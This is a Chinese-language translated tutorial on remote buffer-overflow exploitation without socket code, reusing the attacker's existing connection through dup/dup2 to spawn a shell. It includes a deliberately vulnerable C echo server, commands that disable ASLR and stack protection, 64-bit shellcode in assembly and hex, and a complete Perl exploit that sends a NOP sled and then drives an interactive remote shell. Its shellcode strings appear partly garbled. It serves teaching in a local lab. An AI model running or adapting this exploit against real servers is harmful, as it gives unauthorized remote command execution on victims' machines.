無Sockets的遠程溢出漏洞利用方法

在本文中,我將介紹一種在一個易受攻擊的遠程機器上獲得shell訪問的簡單技術(這僅僅是我個人的觀點)。這不是我自己創造的技術,但我發現它很有趣。所以,本文的重點是這種技術本身,而不是利用漏洞的方式。

設置你的環境

所以,為了專註於製作遠程shellcode,而不是如何規避ASLR,不可執行堆棧等(這將需要大量的篇幅進行介紹),我們將在測試中禁用大多數類似的功能。一旦你準備好了shellcode,便可以重新啟用ASLR保護並嘗試再次進行程序的漏洞利用。

首先,我們需要禁用ASLR,使用如下命令:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

上述命令的操作只是臨時性的,ASLR保護將在系統下次重啟之後再次打開,如果不想重啟就啟用ASLR保護,你可以使用如下命令:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

為了禁用其餘的安全功能,我們將使用以下標誌來編譯我們這台易受攻擊的伺服器程序:

-fno-stack-protector -z execstack

這些標誌會禁用堆棧保護,並向堆棧提供執行許可權。所以我們可以在環境中非常容易的進行漏洞利用。

一個存在漏洞的服務

現在讓我們編寫一個帶有緩衝區溢出漏洞的小型echo伺服器,我們可以遠程利用這個漏洞。整個程序非常簡單。你能在代碼中發現緩衝區溢出漏洞嗎?你當然可以咯。

#include <stdio.h>#include <string.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>intprocess_request (int s1, char *reply){ char result[256]; strcpy (result, reply); write (s1, result, strlen(result)); printf ("Result: %p
", &result); return 0;}intmain (int argc, char *argv[]){ struct sockaddr_in server, client; socklen_t len = sizeof (struct sockaddr_in); int s,s1, ops = 1; char reply[1024]; server.sin_addr.s_addr = INADDR_ANY; server.sin_family = AF_INET; server.sin_port = htons(9000); s = socket (PF_INET, SOCK_STREAM, 0); if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0) perror ("pb_server (reuseaddr):"); bind (s, (struct sockaddr *) &server, sizeof (server)); listen (s, 10); while (1) { s1 = accept (s, (struct sockaddr *)&client, &len); printf ("Connection from %s
", inet_ntoa (client.sin_addr)); memset (reply, 0, 1024); read (s1, reply, 1024); process_request (s1, reply); close (s1); } return 0;}

上面的代碼非常標準。現在讓我們來編譯它,完成我們的工作——使它成為存在遠程溢出漏洞且最容易進行漏洞利用的伺服器:

gcc -g -fno-stack-protector -z execstack -o target target.c

讓我們驗證一下它是否存在漏洞。先在一個終端中啟動它然後在另一終端運行如下命令:

$ perl -e print "A"x1024; | nc localhost 9000

在運行了伺服器程序的終端窗口中可以看到如下信息:

$ ./targetConnection from 127.0.0.1Result: 0x7fffffffdbf0Segmentation fault (core dumped)

注意,我在代碼中已經添加了列印一個局部變數的地址的語句,所以你可以驗證ASLR是否被成功的禁用了。每次執行相同的二進位程序後,你應該總是得到相同的列印結果(變數地址),如果你修改了程序,列印結果可能會改變。

你現在就可以使用一些可用的shellcode來攻擊這個程序並獲得一個本地shell來進行練習。 即使做起來非常容易,你也應該至少進行一次練習:)。我不會在這裡繼續討論這個。 網上有幾百幾千個教程教你如何在這種情況下利用緩衝區溢出漏洞。 只需要google一下就行了。

遠程Shell

現在是時候得到一個遠程的shell了。 這裡的關鍵是「遠程Shell」。 這意味著在易受攻擊的機器和攻擊者之間存在一個網路。 或者換句話說,我們必須通過一些socket發送/接收數據。 基於這一點,有兩種方式可以獲得遠程shell:

用shellcode創建一個socket伺服器並允許從外部進行連接,然後從本地shell中進行數據收發...這是一個直連的遠程shell。shellcode連接到一個指定的主機,伺服器監聽埠等待受害者的連接...這是一個反向的遠程shell。

這兩個定義會讓你們中的許多人想起那些RHOST / RPORT的變數名稱,無論你們怎麼稱呼….是的,這些參數是你需要告訴你的payload連接到的地址和埠是什麼。對於反向的shell,你必須將此信息存儲在 payload中,以便它能連接回來。對於直連的shell你通常只需要定義埠,伺服器將會監聽指定的埠並等待連接。

但是,還有第三個選項,至少對於Unix機器來講是這樣。

重用連接

當進行遠程漏洞利用時,為了利用此漏洞,你已經連接到伺服器了…所以,為什麼不重用已經設置的連接? 這很清楚明了,因為它不會顯示任何與受害者相關的可疑的信息,像一個未知的服務開放埠或從伺服器向外傳出網路連接。

實現這一點的方法非常巧妙。它是基於這樣的一個事實,即系統按順序分配文件描述。 知道了這一點,我們就可以在我們的連接之後立即複製一個現有的文件描述符,除非伺服器負載很重,我們應該能得到一個文件描述符,它等同於與我們的連接+1關聯的套接字的文件描述符。(剛剛分配的文件描述符就是我們的連接)。

一旦我們知道了當前正在進行連接的文件描述符,我們只需要將它複製到文件描述符0,1和2(stdin,stdout和stderr),然後再產生一個shell。 從此時開始,該shell的所有輸入/輸出都將被重定向到套接字中。

還沒有弄清楚嗎? 那就看看這裡。也許現在是一個學習的好時機。

就像下面的C代碼:

int sck = dup (0) - 1; // Duplicate stdindup2 (sck, 0);dup2 (sck, 1);dup2 (sck, 2);execv ("/bin/sh", NULL);

看到沒有?!…沒有套接字代碼哦! 如果我們把它變成一個shellcode,並且我們設法利用遠程伺服器來運行該代碼,此時,我們將通過我們進行漏洞利用的這個連接的來獲得對遠程機器的shell訪問。

許多人可能已經注意到這種技術,但它有一些缺點。 我們已經提到在伺服器上的重負載(許多連接被同時建立),我們的dup技巧可能會失敗,但其他人可能會獲得shell訪問。 此外,一個合適的socket伺服器會在成為守護程序(man守護程序)之前會關閉所有的文件描述符,因此我們可能需要嘗試使用其他的值作為dup的參數。

這個技術是我在前一段時間與@_py的討論中注意到的。 我們當時檢查的原始代碼可以在這裡找到:

shell-storm.org/shellco

但是這是32位代碼,所以我做了一個64位版本以及一個Perl腳本來進行漏洞利用。

64位的Shellcode

我並不為此感到驕傲(我只是意識到我ASM開始生疏了),但是下面的代碼可以正常工作,原始的32位版本只有3個位元組長。

代碼如下:

section .textglobal _start_start: ;; s = Dup (0) - 1 xor rax, rax push rax push rax push rax pop rsi pop rdx push rax pop rdi mov al, 32 syscall ; DUP (rax=32) rdi = 0 (dup (0)) dec rax push rax pop rdi ; mov rdi, rax ; dec rdi ;; dup2 (s, 0); dup2(s,1); dup2(s,2)loop: mov al, 33 syscall ; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd inc rsi mov rax,rsi cmp al, 2 ; Loop 0,1,2 (stdin, stdout, stderr) jne loop

我為不太明顯的部分添加了一些注釋,你會看到很多PUSH/POP。 原因是一對PUSH / POP是2位元組,但MOV R1,R2是3位元組。這使得代碼非常丑,但是能短一點…可實際上並沒有短了很多,所以我不認為這是一個好主意。你還有很多隨意改進它的方式,你可以在評論中發布你的版本。記得毫不猶豫地分享對代碼的任何疑問哦。

生成Shellcode

現在,我們必須以適合發送到遠程伺服器的格式來獲取shellcode。為此,我們首先必須編譯代碼,然後從編譯的文件中提取機器碼。編譯(因為有彙編代碼)非常簡單:

nasm -f elf64 -o rsh.o rsh.asm

有很多不同的方法來從對象文件中獲取二進位數據。 我會使用比較詭譎的技巧來產生一個特定格式的字元串,這樣我可以很容易地添加到Perl或C程序中。

for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n x$i; done;echo

上面的兩個命令將產生以下shellcode:

x48x31xc0x50x50x50x5ex5ax50x5fxb0x20x0fx05x48xffxc8x50x5fxb0x21x0fx05x48xffxc6x48x89xf0 x02x75xf2x52x48xbfx2fx2fx62x69x6ex2fx73x68x57x54x5fx52x5exb0x3bx0fx05

到利用漏洞的時間了

漏洞利用

現在我們有一個存在漏洞的遠程系統。你已經弄清楚如何在我們的低級別安全環境中進行緩衝區溢出漏洞的利用,我們還有一個shellcode需要在遠程系統上運行。現在我們需要一個漏洞利用程序。該程序將把所有這些連在一起,並將我們正在尋找的遠程系統的shell返回給我們。

看起來如下:

#!/usr/bin/perluse IO::Select;use IO::Socket::INET;$|=1;print "Remote Exploit Example";print "by 0x00pf for 0x00sec :)

";# You may need to calculate these magic numbers for your system$addr = "x10xddxffxffxffx7fx00x00";$off = 264;# Generate the payload$shellcode = "x48x31xc0x50x50x50x5ex5ax50x5fxb0x20x0fx05x48xffxc8x50x5fxb0x21x0fx05x48xffxc6x48x89xf0 x02x75xf2x52x48xbfx2fx2fx62x69x6ex2fx73x68x57x54x5fx52x5exb0x3bx0fx05";$nops = $off - length $shellcode;$payload = "x90" x $nops . $shellcode . $addr;$plen = length $payload;$slen = length $shellcode;print "SLED $nops Shellcode: $slen Payload size: $plen
";# Connectmy $socket = new IO::Socket::INET ( PeerHost => 127.0.0.1, PeerPort => 9000, Proto => tcp, );# Set up select for asynchronous read from the server$sel = IO::Select->new( $socket );$sel->add(*STDIN);# Exploit!$socket->send ($payload);$socket->recv ($trash,1024);$timeout = .1;$flag = 1; # Just to show a prompt# Interact!while (1) { if (@ready = $sel->can_read ($timeout)) { foreach $fh (@ready) { $flag =1; if($fh == $socket) { $socket->recv ($resp, 1024); print $resp; } else { # It is stdin $line = <STDIN>; $socket->send ($line); } } } else { # Show the prompt whenever everythings been read print "0x00pf]> " if ($flag); $flag = 0; }}

一開始的漏洞程序幾乎是非常標準的東西。根據你在gdb的幫助下找出的魔法數字(變數地址)生成payload(請注意,這些數字可能在你的系統中有所不同,並且漏洞利用程序可能不是很有效果)。

但是,這之後,我們還需要為我們的特殊的遠程shell做點別的事情。可以使用直連和反向shell,一旦漏洞被成功利用,我們通常將使用另一個程序或模塊連接到遠程機器或等待遠程機器連接我們的伺服器。它可以是netcat或你喜歡的其他滲透平台或你自己編寫的工具,…

但是,在本文所講的這種情況下,我們使用的是已建立的且用來發送payload的連接來進行shell訪問。所以我添加了一些代碼,從stdin讀取命令,並將它們發送到遠程伺服器,也可以從遠程shell中讀取數據。這是漏洞利用的最後一部分。代碼都是標準的socket代碼。所以,在代碼里真的沒有什麼特別之處。

現在,你可以嘗試進行漏洞利用獲取遠程shell!

結論

在本文中,我們討論了一種可以不會被輕易發現且非常完美的獲取遠程易受攻擊的伺服器shell的方法,這個方法不需要處理系統提供的套接字API。這使得shellcode 的開發更加簡單也更簡短。

你可以自由地改進shellcode,並在文章下面的評論區域中發布。此外,如果有人想嘗試在系統安全功能都被激活時的漏洞利用,可以邀請我。

這個工作涉及以下幾點:

重新激活ASLR(你已經知道怎麼做了)

使堆棧為不可執行狀態(移除 -zexecstack標誌或使用execstack工具)

重新激活堆棧保護(移除 -fno-stackprotector標誌)

Go Pro(使用 -DFORTIFY_SOURCE=2進行編譯或使用 -O2)

Go master(使用 -O2 -fPIC -pie -fstack-protector-all -Wl,-z,relro,-z進行編譯)

如若轉載,請註明原文地址: 4hou.com/technology/326 更多內容請關注「嘶吼專業版——Pro4hou」

推薦閱讀:

交易中當你擁有一定盈利頭寸時,面對即將出現的消息面數據是如何操作的?
2017-10-12
不認可技術分析的朋友是靠什麼方法交易的?
Active Directory域滲透之白銀票證後門

TAG:技术分析 | 漏洞 |